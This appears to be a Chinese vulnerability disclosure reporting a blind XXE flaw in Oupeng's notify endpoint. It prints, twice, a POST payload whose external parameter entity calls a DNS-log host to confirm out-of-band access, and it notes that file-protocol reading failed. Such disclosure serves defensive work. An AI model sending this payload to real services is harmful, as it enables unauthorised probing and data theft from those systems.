欧朋一处blind xxe利用Cloudeye神器测试

### 简要描述： 突然想用一用买的Cloudeye 于是就找到了 ### 详细说明： 漏洞地址 ``` http://notify.oupeng.com/notify ``` post数据 ``` <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://xxx.dnslog.info/oupeng'>%remote;]><root/> ``` 可以在cloudeye 中看见访问记录 [<img src="https://images.seebug.org/upload/201606/132016453dd9c59932447f1acb1ef5d4a9b16010.png" alt="欧鹏.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201606/132016453dd9c59932447f1acb1ef5d4a9b16010.png) [<img src="https://images.seebug.org/upload/201606/132016543555eb5d396c1119edbe153d7e1d22fc.png" alt="欧鹏cloudeye.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201606/132016543555eb5d396c1119edbe153d7e1d22fc.png) 试下file协议 用不了 发出来 大家看一下吧 ### 漏洞证明： 漏洞地址 ``` http://notify.oupeng.com/notify ``` post数据 ``` <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM 'http://xxx.dnslog.info/oupeng'>%remote;]><root/> ``` 可以在cloudeye 中看见访问记录 [<img src="https://images.seebug.org/upload/201606/132016453dd9c59932447f1acb1ef5d4a9b16010.png" alt="欧鹏.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201606/132016453dd9c59932447f1acb1ef5d4a9b16010.png) [<img src="https://images.seebug.org/upload/201606/132016543555eb5d396c1119edbe153d7e1d22fc.png" alt="欧鹏cloudeye.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201606/132016543555eb5d396c1119edbe153d7e1d22fc.png)